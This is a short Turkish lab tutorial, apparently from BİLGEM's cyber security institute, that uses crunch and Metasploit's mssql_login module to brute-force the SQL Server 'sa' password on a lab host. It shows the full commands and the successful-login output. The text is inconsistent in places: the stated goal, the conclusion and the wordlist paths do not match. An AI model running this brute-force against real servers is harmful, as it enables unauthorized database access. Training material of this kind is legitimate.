

## Ağ üzerinde yer alan MsSQL sunucularının tespit edilmesi

**AMAÇ:** Ağ üzerinde yer alan MsSQL Serverlarının tespit edilmesi

**GEREKİNİMLER:** Kali Linux, nmap

**Adım 1** – Putty ile Kali Linux üzerinde oturum açılır.

**Adım 2** – Crunch uygulaması ile lokal şifre dosyası oluşturulur.

```
root@kali:~# crunch 3 5 1234abc -o /root/passwords.txt
crunch will now generate the following amount of data: 100842 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 16807
crunch: 100% completed generating output
```

**Adım 3** – Komut satırında Metasploit çalıştırılır.

```
msfconsole
```

**Adım 4** – Sql Server’da yer alan SA kullanıcısına ait olan şifrenin elde edilmesi için 3. aşamada oluşturulan şifre dosyası kullanılacaktır. **msfconsole** komutuyla açılan metasploit’e *auxiliary/scanner/mssql/mssql\_login* modülü açılır. Gerekli parametreler set edilir.

```

msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > show options
Module options (auxiliary/scanner/mssql/mssql_login):

  Name                Current Setting  Required  Description
  ----                -
  BLANK_PASSWORDS     false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED    5               yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS        false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS         false           no        Add all passwords in the current database to the list
  DB_ALL_USERS        false           no        Add all users in the current database to the list
  PASSWORD            no              no        A specific password to authenticate with
  PASS_FILE           no              no        File containing passwords, one per line
  RHOSTS              yes             yes       The target address range or CIDR identifier
  RPORT               1433            yes       The target port
  STOP_ON_SUCCESS     false           yes       Stop guessing when a credential works for a host
  THREADS             1               yes       The number of concurrent threads
  USERNAME            sa               no        A specific username to authenticate as
  USERPASS_FILE       no              no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS        false           no        Try the username as the password for all users
  USER_FILE           no              no        File containing usernames, one per line
  USE_WINDOWS_AUTHENT false           yes       Use windows authentication (requires DOMAIN option set)
  VERBOSE             true            yes       Whether to print output for all attempts

msf auxiliary(mssql_login) > set RHOSTS 192.168.1.106   Sql server IP adresi
RHOSTS => 192.168.1.106
msf auxiliary(mssql_login) > set PASS_FILE /root/a.txt   Crunch uygulaması şifre dosyası
PASS_FILE => /root/a.txt
msf auxiliary(mssql_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(mssql_login) > run   Modül çalıştırılır

[*] 192.168.1.106:1433 - MSSQL - Starting authentication scanner.
[+] 192.168.1.106:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:123   sa kullanıcısının şifresi elde edilir.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

**Sonuç:** Çalışan sql server versiyon hakkında bilgi edinilmiş olur.

# BİLGEM

## SİBER GÜVENLİK ENSTİTÜSÜ